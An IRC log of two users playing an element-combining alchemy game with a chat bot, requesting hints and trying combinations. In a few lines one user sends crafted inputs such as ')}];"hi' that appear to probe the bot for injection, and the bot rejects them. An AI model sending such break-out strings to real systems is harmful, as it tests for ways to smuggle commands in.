[2015-01-02T11:08:59-0500] <alokpathy> @hint
[2015-01-02T11:08:59-0500] <alchemy> Not this time!
[2015-01-02T11:09:00-0500] <alokpathy> @hint
[2015-01-02T11:09:01-0500] <alchemy> Not on your life.
[2015-01-02T11:09:01-0500] <alokpathy> @hint
[2015-01-02T11:09:02-0500] <alchemy> Hint: It's possible to make aaron with man!
[2015-01-02T11:09:03-0500] <alokpathy> @hint
[2015-01-02T11:09:03-0500] <alchemy> Not on your life.
[2015-01-02T11:09:04-0500] <alokpathy> @hint
[2015-01-02T11:09:04-0500] <alchemy> No can do, buddy.
[2015-01-02T11:09:05-0500] <alokpathy> @hint
[2015-01-02T11:09:05-0500] <alchemy> Hint: It's possible to make pdgn with friendship!
[2015-01-02T11:09:07-0500] <alokpathy> @hint
[2015-01-02T11:09:07-0500] <alchemy> Nope.
[2015-01-02T11:09:08-0500] <alokpathy> @hint
[2015-01-02T11:09:08-0500] <alchemy> Hint: It's possible to make crops with tool!
[2015-01-02T11:09:09-0500] <alokpathy> @hint
[2015-01-02T11:09:10-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-02T11:09:15-0500] <alokpathy> Grah
[2015-01-02T11:09:22-0500] <alokpathy> @combine loveletter man
[2015-01-02T11:09:23-0500] <alchemy> loveletter and man don't make anything exciting.
[2015-01-02T11:09:36-0500] <alokpathy> @possible clock
[2015-01-02T11:09:37-0500] <alchemy> No, you can't make clock.
[2015-01-02T11:09:51-0500] <alokpathy> @combine food water
[2015-01-02T11:09:52-0500] <alchemy> food and water don't make anything exciting.
[2015-01-02T11:09:56-0500] <alokpathy> @combine crops water
[2015-01-02T11:09:57-0500] <alchemy> crops and water don't make anything exciting.
[2015-01-02T11:10:03-0500] <The_Master> .@hint should have a time and only give hints on things we don't have
[2015-01-02T11:10:04-0500] <alokpathy> @combine food plant
[2015-01-02T11:10:05-0500] <alchemy> food and plant don't make anything exciting.
[2015-01-02T11:10:09-0500] <alokpathy> @hint
[2015-01-02T11:10:10-0500] <alchemy> No can do, buddy.
[2015-01-02T11:10:12-0500] <alokpathy> @hint
[2015-01-02T11:10:12-0500] <alchemy> Nope.
[2015-01-02T11:10:13-0500] <alokpathy> @hint
[2015-01-02T11:10:13-0500] <alchemy> Not on your life.
[2015-01-02T11:10:14-0500] <alokpathy> @hint
[2015-01-02T11:10:14-0500] <alchemy> Hint: It's possible to make chivalry with knight!
[2015-01-02T11:10:15-0500] <alokpathy> @hint
[2015-01-02T11:10:15-0500] <alchemy> Not on your life.
[2015-01-02T11:10:16-0500] <alokpathy> @hint
[2015-01-02T11:10:16-0500] <alchemy> Hint: It's possible to make penguin with snow!
[2015-01-02T11:10:17-0500] <alokpathy> @hint
[2015-01-02T11:10:18-0500] <alchemy> Not on your life.
[2015-01-02T11:10:19-0500] <alokpathy> @hint
[2015-01-02T11:10:19-0500] <alchemy> No can do, buddy.
[2015-01-02T11:10:20-0500] <alokpathy> @hint
[2015-01-02T11:10:20-0500] <alchemy> Hint: It's possible to make sword with fire!
[2015-01-02T11:10:21-0500] <alokpathy> @hint
[2015-01-02T11:10:21-0500] <alchemy> Hint: It's possible to make bug with hacker!
[2015-01-02T11:10:22-0500] <alokpathy> @hint
[2015-01-02T11:10:22-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-02T11:10:24-0500] <alokpathy> Hm
[2015-01-02T11:10:26-0500] <alokpathy> bug with hacker
[2015-01-02T11:10:27-0500] <alokpathy> @list
[2015-01-02T11:10:27-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-02T11:10:27-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-02T11:10:27-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin
[2015-01-02T11:10:27-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam
[2015-01-02T11:10:27-0500] <alchemy> You have: stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-02T11:10:27-0500] <alchemy> That's 97 out of 136!
[2015-01-02T11:10:42-0500] <alokpathy> @combine hacker megamind
[2015-01-02T11:10:42-0500] <alchemy> hacker and megamind don't make anything exciting.
[2015-01-02T11:10:51-0500] <alokpathy> @combine hacker exploit
[2015-01-02T11:10:51-0500] <alchemy> You don't have exploit!
[2015-01-02T11:10:52-0500] <The_Master> @combine hacker whitespace
[2015-01-02T11:10:52-0500] <alchemy> hacker and whitespace don't make anything exciting.
[2015-01-02T11:11:00-0500] <The_Master> @combine hacker ;"hi
[2015-01-02T11:11:01-0500] <alchemy> You don't have ;"hi!
[2015-01-02T11:11:07-0500] <The_Master> @combine hacker )}];"hi
[2015-01-02T11:11:07-0500] <alchemy> You don't have )}];"hi!
[2015-01-02T11:11:13-0500] <The_Master> @combine hacker )}];/\"hi
[2015-01-02T11:11:13-0500] <alchemy> You don't have )}];/\"hi!
[2015-01-02T11:11:16-0500] <The_Master> @combine hacker )}];/\";hi
[2015-01-02T11:11:17-0500] <alchemy> You don't have )}];/\";hi!
[2015-01-02T11:11:29-0500] <alokpathy> @combine hacker tree
[2015-01-02T11:11:29-0500] <The_Master> @combine hacker paper
[2015-01-02T11:11:29-0500] <alchemy> hacker and tree don't make anything exciting.
[2015-01-02T11:11:30-0500] <alchemy> hacker and paper don't make anything exciting.
[2015-01-02T11:11:35-0500] <alokpathy> Well darn
[2015-01-02T11:11:44-0500] <The_Master> @combine hacker computer
[2015-01-02T11:11:44-0500] <alchemy> hacker and computer don't make anything exciting.
[2015-01-02T11:11:52-0500] <alokpathy> Darn well we know we can make time with what we have
[2015-01-02T11:11:56-0500] <alokpathy> but we still haven't found it.
[2015-01-02T11:12:13-0500] <alokpathy> @combine science rainbow
[2015-01-02T11:12:13-0500] <alchemy> science and rainbow don't make anything exciting.
[2015-01-02T11:12:13-0500] <alokpathy> :D
[2015-01-02T11:12:15-0500] <alokpathy> Aw
[2015-01-02T11:12:16-0500] <alokpathy> @hint
[2015-01-02T11:12:16-0500] <alchemy> Hint: It's possible to make robot with sentience!
[2015-01-02T11:12:19-0500] <alokpathy> @hint
[2015-01-02T11:12:19-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-02T11:12:20-0500] <alokpathy> @hint
[2015-01-02T11:12:20-0500] <alchemy> No can do, buddy.
[2015-01-02T11:12:21-0500] <alokpathy> @hint
[2015-01-02T11:12:21-0500] <alchemy> No can do, buddy.
[2015-01-02T11:12:22-0500] <alokpathy> @hint
[2015-01-02T11:12:22-0500] <alchemy> Not on your life.
[2015-01-02T11:12:23-0500] <alokpathy> @hint
[2015-01-02T11:12:23-0500] <alchemy> No can do, buddy.
[2015-01-02T11:12:24-0500] <alokpathy> @hint
[2015-01-02T11:12:24-0500] <alchemy> Not this time!
[2015-01-02T11:12:25-0500] <alokpathy> @hint
[2015-01-02T11:12:25-0500] <alchemy> Hint: It's possible to make jacob with robot!
[2015-01-02T11:12:27-0500] <alokpathy> @hint
[2015-01-02T11:12:27-0500] <alchemy> Hint: It's possible to make zombie with time!
[2015-01-02T11:12:31-0500] <alokpathy> Wow
[2015-01-02T11:12:32-0500] <alokpathy> gee
[2015-01-02T11:12:32-0500] <alokpathy> thanks
[2015-01-02T11:12:34-0500] <alokpathy> thanks
[2015-01-02T11:12:34-0500] <The_Master> @combine hacker olaf
[2015-01-02T11:12:35-0500] <alchemy> hacker and olaf don't make anything exciting.
[2015-01-02T11:12:38-0500] <alokpathy> @hint
[2015-01-02T11:12:38-0500] <alchemy> Hint: It's possible to make genius with man!
[2015-01-02T11:12:40-0500] <alokpathy> @hint
[2015-01-02T11:12:40-0500] <alchemy> Hint: It's possible to make pidgey with evil!
[2015-01-02T11:12:42-0500] <alokpathy> @hint
[2015-01-02T11:12:42-0500] <alchemy> Hint: It's possible to make blackhat with hacker!
[2015-01-02T11:12:45-0500] <alokpathy> Wait what
[2015-01-02T11:12:46-0500] <alokpathy> @list
[2015-01-02T11:12:46-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-02T11:12:46-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-02T11:12:46-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin
[2015-01-02T11:12:46-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam
[2015-01-02T11:12:46-0500] <alchemy> You have: stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-02T11:12:46-0500] <alchemy> That's 97 out of 136!
[2015-01-02T11:12:50-0500] <alokpathy> Pidgey with evil?
[2015-01-02T11:12:53-0500] <alokpathy> @combine evil pdgn
[2015-01-02T11:12:54-0500] <alchemy> evil and pdgn don't make anything exciting.
[2015-01-02T11:13:01-0500] <alokpathy> @possible bird
[2015-01-02T11:13:02-0500] <alchemy> No, you can't make bird.
[2015-01-02T11:13:07-0500] <The_Master> @combine evil sentience
[2015-01-02T11:13:07-0500] <alchemy> evil and sentience don't make anything exciting.
[2015-01-02T11:13:11-0500] <alokpathy> @possible evil penguin
[2015-01-02T11:13:12-0500] <The_Master> @combine evil rust
[2015-01-02T11:13:12-0500] <alchemy> evil and rust don't make anything exciting.
[2015-01-02T11:13:20-0500] <The_Master> @combine evil aaron
[2015-01-02T11:13:20-0500] <alchemy> evil and aaron don't make anything exciting.
[2015-01-02T11:13:21-0500] <alokpathy> @combine evil penguin
[2015-01-02T11:13:21-0500] <alchemy> evil and penguin don't make anything exciting.
[2015-01-02T11:13:27-0500] <alokpathy> @combine evil robot
[2015-01-02T11:13:27-0500] <alchemy> You already combined evil and robot to get jacob.
[2015-01-02T11:13:30-0500] <The_Master> @combine evil whitehat
[2015-01-02T11:13:31-0500] <alchemy> evil and whitehat don't make anything exciting.
[2015-01-02T11:13:38-0500] <alokpathy> @combine evil sysadmin
[2015-01-02T11:13:39-0500] <alchemy> You already combined evil and sysadmin to get ninja.
[2015-01-02T11:13:44-0500] <alokpathy> @combine evil ninja
[2015-01-02T11:13:44-0500] <alchemy> evil and ninja don't make anything exciting.
[2015-01-02T11:13:53-0500] <The_Master> @combine evil server
[2015-01-02T11:13:53-0500] <alchemy> evil and server don't make anything exciting.
[2015-01-02T11:13:56-0500] <alokpathy> @combine evil hacker
[2015-01-02T11:13:58-0500] <alchemy> You already combined evil and hacker to get blackhat.
[2015-01-02T11:14:06-0500] <alokpathy> @combine evil blackhat
[2015-01-02T11:14:07-0500] <alchemy> evil and blackhat don't make anything exciting.
[2015-01-02T11:14:11-0500] <The_Master> @combine evil tool
[2015-01-02T11:14:12-0500] <alchemy> evil and tool don't make anything exciting.
[2015-01-02T11:14:18-0500] <alokpathy> @combine evil rust
[2015-01-02T11:14:18-0500] <alchemy> evil and rust don't make anything exciting.
[2015-01-02T11:14:23-0500] <The_Master> @combine evil friendship
[2015-01-02T11:14:24-0500] <alchemy> evil and friendship don't make anything exciting.
[2015-01-02T11:14:41-0500] <alokpathy> @list
[2015-01-02T11:14:41-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-02T11:14:41-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-02T11:14:41-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin
[2015-01-02T11:14:41-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam
[2015-01-02T11:14:41-0500] <alchemy> You have: stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-02T11:14:41-0500] <alchemy> That's 97 out of 136!
[2015-01-02T11:14:43-0500] <The_Master> @combine evil genius
[2015-01-02T11:14:43-0500] <alchemy> You already combined evil and genius to get megamind.
[2015-01-02T11:14:48-0500] <alokpathy> @combine evil gmo
[2015-01-02T11:14:48-0500] <alchemy> evil and gmo don't make anything exciting.
[2015-01-02T11:14:52-0500] <alokpathy> @combine evil google
[2015-01-02T11:14:52-0500] <alchemy> evil and google don't make anything exciting.
[2015-01-02T11:15:00-0500] <alokpathy> @combine evil evil
[2015-01-02T11:15:00-0500] <alchemy> evil and evil don't make anything exciting.
[2015-01-02T11:15:01-0500] <The_Master> @combine evil mutant
[2015-01-02T11:15:01-0500] <alchemy> evil and mutant don't make anything exciting.
[2015-01-02T11:15:06-0500] <The_Master> @combine evil love
[2015-01-02T11:15:06-0500] <alokpathy> @combine evil internet
[2015-01-02T11:15:07-0500] <alchemy> evil and love don't make anything exciting.
[2015-01-02T11:15:07-0500] <alchemy> evil and internet don't make anything exciting.
[2015-01-02T11:15:14-0500] <alokpathy> @combine evil hardmath
[2015-01-02T11:15:15-0500] <alchemy> evil and hardmath don't make anything exciting.
[2015-01-02T11:15:25-0500] <alokpathy> @combine evil computer
[2015-01-02T11:15:26-0500] <alchemy> evil and computer don't make anything exciting.
[2015-01-02T11:15:30-0500] <alokpathy> @combine evil cloud
[2015-01-02T11:15:30-0500] <alchemy> evil and cloud don't make anything exciting.
[2015-01-02T11:15:35-0500] <The_Master> @combine evil program
[2015-01-02T11:15:35-0500] <alchemy> You don't have program!
[2015-01-02T11:15:42-0500] <The_Master> @possible program
[2015-01-02T11:15:42-0500] <alchemy> No, you can't make program.
[2015-01-02T11:15:43-0500] <alokpathy> @possible program
[2015-01-02T11:15:44-0500] <alchemy> No, you can't make program.
[2015-01-02T11:15:55-0500] <alokpathy> @combine evil melp
[2015-01-02T11:15:56-0500] <alchemy> You don't have melp!
[2015-01-02T11:15:57-0500] <alokpathy> @combine evil mel
[2015-01-02T11:15:58-0500] <alchemy> evil and mel don't make anything exciting.
[2015-01-02T11:16:03-0500] <The_Master> @combine evil ship
[2015-01-02T11:16:03-0500] <alchemy> evil and ship don't make anything exciting.
[2015-01-02T11:16:13-0500] <The_Master> @list
[2015-01-02T11:16:14-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-02T11:16:15-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-02T11:16:15-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin
[2015-01-02T11:16:15-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam
[2015-01-02T11:16:15-0500] <alchemy> You have: stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-02T11:16:15-0500] <alchemy> That's 97 out of 136!
[2015-01-02T11:16:23-0500] <The_Master> @combine evil pdgn
[2015-01-02T11:16:24-0500] <alchemy> evil and pdgn don't make anything exciting.
[2015-01-02T11:16:29-0500] <The_Master> @combine evil limerick
[2015-01-02T11:16:30-0500] <alchemy> evil and limerick don't make anything exciting.
[2015-01-02T11:16:36-0500] <The_Master> @combine evil nija
[2015-01-02T11:16:37-0500] <alchemy> You don't have nija!
[2015-01-02T11:16:38-0500] <The_Master> @combine evil ninja
[2015-01-02T11:16:39-0500] <alchemy> evil and ninja don't make anything exciting.
[2015-01-02T11:16:48-0500] <The_Master> @combine evil electricity
[2015-01-02T11:16:49-0500] <alchemy> evil and electricity don't make anything exciting.
[2015-01-02T11:16:49-0500] <alokpathy> @combine evil friendship
[2015-01-02T11:16:50-0500] <alchemy> evil and friendship don't make anything exciting.
[2015-01-02T11:16:54-0500] <The_Master> @combine evil energy
[2015-01-02T11:16:55-0500] <alchemy> evil and energy don't make anything exciting.
[2015-01-02T11:16:57-0500] <alokpathy> @combine evil hal
[2015-01-02T11:16:58-0500] <alchemy> evil and hal don't make anything exciting.
[2015-01-02T11:17:05-0500] <alokpathy> I have a feeling it's with something we don't have.
[2015-01-02T11:17:08-0500] <The_Master> @combine evil math
[2015-01-02T11:17:08-0500] <alchemy> evil and math don't make anything exciting.
[2015-01-02T11:17:10-0500] <The_Master> @list
[2015-01-02T11:17:11-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-02T11:17:11-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-02T11:17:11-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin
[2015-01-02T11:17:11-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam
[2015-01-02T11:17:11-0500] <alchemy> You have: stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-02T11:17:11-0500] <alchemy> That's 97 out of 136!
[2015-01-02T11:17:18-0500] <The_Master> @combine evil torvalds
[2015-01-02T11:17:19-0500] <alchemy> evil and torvalds don't make anything exciting.
[2015-01-02T11:17:22-0500] <The_Master> @combine evil war
[2015-01-02T11:17:23-0500] <alchemy> evil and war don't make anything exciting.
[2015-01-02T11:17:32-0500] <The_Master> @combine evil sculpture
[2015-01-02T11:17:33-0500] <alchemy> evil and sculpture don't make anything exciting.
[2015-01-02T11:17:33-0500] <alokpathy> @combine tree torvalds
[2015-01-02T11:17:34-0500] <alchemy> tree and torvalds don't make anything exciting.
[2015-01-02T11:17:35-0500] <alokpathy> lol
[2015-01-02T11:17:43-0500] <The_Master> @combine evil food
[2015-01-02T11:17:44-0500] <alchemy> evil and food don't make anything exciting.
[2015-01-02T11:17:45-0500] <The_Master> @combine evil fire
[2015-01-02T11:17:46-0500] <alchemy> evil and fire don't make anything exciting.
[2015-01-02T11:17:51-0500] <The_Master> @combine evil stone
[2015-01-02T11:17:52-0500] <alchemy> evil and stone don't make anything exciting.
[2015-01-02T11:17:54-0500] <The_Master> @combine evil sword
[2015-01-02T11:17:55-0500] <alchemy> evil and sword don't make anything exciting.
[2015-01-02T11:17:55-0500] <alokpathy> @combine stone hole
[2015-01-02T11:17:56-0500] <alchemy> stone and hole don't make anything exciting.
[2015-01-02T11:18:04-0500] <alokpathy> @combine backstroke ocean
[2015-01-02T11:18:05-0500] <alchemy> backstroke and ocean don't make anything exciting.
[2015-01-02T11:18:05-0500] <The_Master> @combine evil math
[2015-01-02T11:18:06-0500] <alchemy> evil and math don't make anything exciting.
[2015-01-02T11:18:09-0500] <The_Master> @combine evil metal
[2015-01-02T11:18:10-0500] <alchemy> evil and metal don't make anything exciting.
[2015-01-02T11:18:11-0500] <alokpathy> @combine hardmath genius
[2015-01-02T11:18:12-0500] <alchemy> hardmath and genius don't make anything exciting.
[2015-01-02T11:18:16-0500] <alokpathy> @combine hardmath sentience
[2015-01-02T11:18:17-0500] <alchemy> hardmath and sentience don't make anything exciting.
[2015-01-02T11:18:19-0500] <The_Master> @combine evil neanderthal
[2015-01-02T11:18:19-0500] <alokpathy> @combine hardmath evil
[2015-01-02T11:18:20-0500] <alchemy> evil and neanderthal don't make anything exciting.
[2015-01-02T11:18:21-0500] <alchemy> hardmath and evil don't make anything exciting.
[2015-01-02T11:18:40-0500] <The_Master> @combine evil whitespace
[2015-01-02T11:18:41-0500] <alchemy> evil and whitespace don't make anything exciting.
[2015-01-02T11:18:46-0500] <The_Master> @combine evil wind
[2015-01-02T11:18:47-0500] <alchemy> evil and wind don't make anything exciting.
[2015-01-02T11:18:56-0500] <The_Master> @combine evil tsunami
[2015-01-02T11:18:57-0500] <alchemy> evil and tsunami don't make anything exciting.
[2015-01-02T11:19:01-0500] <The_Master> @combine evil war
[2015-01-02T11:19:02-0500] <alchemy> evil and war don't make anything exciting.
[2015-01-02T11:19:08-0500] <The_Master> @combine evil villain
[2015-01-02T11:19:09-0500] <alchemy> evil and villain don't make anything exciting.
[2015-01-02T11:19:18-0500] <The_Master> @combine evil steam
[2015-01-02T11:19:19-0500] <alchemy> evil and steam don't make anything exciting.
[2015-01-02T11:19:28-0500] <The_Master> @combine evil puddle
[2015-01-02T11:19:29-0500] <alchemy> evil and puddle don't make anything exciting.
[2015-01-02T11:19:32-0500] <The_Master> @list
[2015-01-02T11:19:33-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-02T11:19:33-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-02T11:19:33-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin
[2015-01-02T11:19:33-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam
[2015-01-02T11:19:33-0500] <alchemy> You have: stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-02T11:19:33-0500] <alchemy> That's 97 out of 136!
[2015-01-02T11:19:39-0500] <The_Master> @combine evil plant
[2015-01-02T11:19:40-0500] <alchemy> evil and plant don't make anything exciting.
[2015-01-02T11:19:45-0500] <The_Master> @combine evil snow
[2015-01-02T11:19:46-0500] <alchemy> evil and snow don't make anything exciting.
[2015-01-02T11:19:46-0500] <The_Master> @combine evil snowman
[2015-01-02T11:19:47-0500] <alchemy> evil and snowman don't make anything exciting.
[2015-01-02T11:19:54-0500] <The_Master> @combine evil rain
[2015-01-02T11:19:55-0500] <alchemy> evil and rain don't make anything exciting.
[2015-01-02T11:19:57-0500] <alokpathy> @combine sentience python
[2015-01-02T11:19:58-0500] <alchemy> sentience and python don't make anything exciting.
[2015-01-02T11:19:58-0500] <The_Master> @combine evil pool
[2015-01-02T11:19:59-0500] <alchemy> evil and pool don't make anything exciting.
[2015-01-02T11:20:06-0500] <The_Master> @combine evil penguin
[2015-01-02T11:20:07-0500] <alokpathy> @possible snake
[2015-01-02T11:20:07-0500] <alchemy> evil and penguin don't make anything exciting.
[2015-01-02T11:20:08-0500] <alchemy> No, you can't make snake.
[2015-01-02T11:20:18-0500] <alokpathy> @combine food light
[2015-01-02T11:20:19-0500] <alchemy> food and light don't make anything exciting.
[2015-01-02T11:20:21-0500] <The_Master> @combine evil mountain
[2015-01-02T11:20:22-0500] <alchemy> evil and mountain don't make anything exciting.
[2015-01-02T11:20:22-0500] <alokpathy> @combine plant light
[2015-01-02T11:20:23-0500] <alchemy> plant and light don't make anything exciting.
[2015-01-02T11:20:24-0500] <alokpathy> @combine plant water
[2015-01-02T11:20:25-0500] <alchemy> plant and water don't make anything exciting.
[2015-01-02T11:20:26-0500] <The_Master> @combine evil lightsaber
[2015-01-02T11:20:27-0500] <alchemy> evil and lightsaber don't make anything exciting.
[2015-01-02T11:20:30-0500] <The_Master> @combine evil loveletter
[2015-01-02T11:20:31-0500] <alchemy> evil and loveletter don't make anything exciting.
[2015-01-02T11:20:34-0500] <alokpathy> @combine megamind lightsaber
[2015-01-02T11:20:35-0500] <alchemy> megamind and lightsaber don't make anything exciting.
[2015-01-02T11:20:45-0500] <The_Master> @combine evil gmo
[2015-01-02T11:20:46-0500] <alchemy> evil and gmo don't make anything exciting.
[2015-01-02T11:20:48-0500] <The_Master> @combine evil hacker
[2015-01-02T11:20:49-0500] <alchemy> You already combined evil and hacker to get blackhat.
[2015-01-02T11:20:51-0500] <The_Master> @combine evil ive
[2015-01-02T11:20:52-0500] <alchemy> You don't have ive!
[2015-01-02T11:20:53-0500] <The_Master> @combine evil ice
[2015-01-02T11:20:54-0500] <alchemy> evil and ice don't make anything exciting.
[2015-01-02T11:20:56-0500] <The_Master> @combine evil internet
[2015-01-02T11:20:56-0500] <alchemy> evil and internet don't make anything exciting.
[2015-01-02T11:21:04-0500] <The_Master> @combine evil light
[2015-01-02T11:21:04-0500] <alchemy> evil and light don't make anything exciting.
[2015-01-02T11:21:07-0500] <The_Master> @combine evil joy
[2015-01-02T11:21:08-0500] <alchemy> evil and joy don't make anything exciting.
[2015-01-02T11:21:10-0500] <The_Master> @combine evil knight
[2015-01-02T11:21:11-0500] <alchemy> evil and knight don't make anything exciting.
[2015-01-02T11:21:17-0500] <The_Master> @combine evil lightning
[2015-01-02T11:21:18-0500] <alchemy> evil and lightning don't make anything exciting.
[2015-01-02T11:21:28-0500] <The_Master> @combine evil evil
[2015-01-02T11:21:28-0500] <alchemy> evil and evil don't make anything exciting.
[2015-01-02T11:21:37-0500] <The_Master> @combine evil euler
[2015-01-02T11:21:38-0500] <alchemy> evil and euler don't make anything exciting.
[2015-01-02T11:21:44-0500] <alokpathy> @list
[2015-01-02T11:21:45-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-02T11:21:45-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-02T11:21:45-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin
[2015-01-02T11:21:45-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam
[2015-01-02T11:21:45-0500] <alchemy> You have: stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-02T11:21:45-0500] <alchemy> That's 97 out of 136!
[2015-01-02T11:22:02-0500] <alokpathy> @combine nexorg linux
[2015-01-02T11:22:03-0500] <alchemy> nexorg and linux don't make anything exciting.
[2015-01-02T11:22:07-0500] <alokpathy> @combine blackhat python
[2015-01-02T11:22:08-0500] <alchemy> blackhat and python don't make anything exciting.
[2015-01-02T11:22:15-0500] <alokpathy> @combine einstein evil
[2015-01-02T11:22:16-0500] <alchemy> einstein and evil don't make anything exciting.
[2015-01-02T11:22:20-0500] <alokpathy> @combine euler evli
[2015-01-02T11:22:21-0500] <alchemy> You don't have evli!
[2015-01-02T11:22:22-0500] <alokpathy> @combine euler evil
[2015-01-02T11:22:23-0500] <alchemy> euler and evil don't make anything exciting.
[2015-01-02T11:22:52-0500] <alokpathy> @possible knife
[2015-01-02T11:22:52-0500] <alchemy> No, you can't make knife.
[2015-01-02T11:22:59-0500] <alokpathy> @combine sysadmin tool
[2015-01-02T11:22:59-0500] <alchemy> sysadmin and tool don't make anything exciting.
[2015-01-02T11:23:04-0500] <alokpathy> @combine python tool
[2015-01-02T11:23:05-0500] <alchemy> python and tool don't make anything exciting.
[2015-01-02T11:23:12-0500] <alokpathy> @combine server sysadmin
[2015-01-02T11:23:13-0500] <alchemy> server and sysadmin don't make anything exciting.
[2015-01-02T11:23:18-0500] <alokpathy> @combine server hacker
[2015-01-02T11:23:19-0500] <alchemy> server and hacker don't make anything exciting.
[2015-01-02T11:23:25-0500] <alokpathy> @combine server torvalds
[2015-01-02T11:23:25-0500] <alchemy> server and torvalds don't make anything exciting.
[2015-01-02T11:23:28-0500] <alokpathy> @combine server blackhat
[2015-01-02T11:23:28-0500] <alchemy> server and blackhat don't make anything exciting.
[2015-01-02T11:23:32-0500] <alokpathy> @combine server whitehat
[2015-01-02T11:23:33-0500] <alchemy> server and whitehat don't make anything exciting.
[2015-01-02T11:23:36-0500] <alokpathy> @combine server computer
[2015-01-02T11:23:36-0500] <alchemy> server and computer don't make anything exciting.
[2015-01-02T11:23:58-0500] <alokpathy> @combine sysadmin aaron
[2015-01-02T11:23:59-0500] <alchemy> sysadmin and aaron don't make anything exciting.
[2015-01-02T11:24:01-0500] <alokpathy> @combine sysadmin alok
[2015-01-02T11:24:01-0500] <alchemy> sysadmin and alok don't make anything exciting.
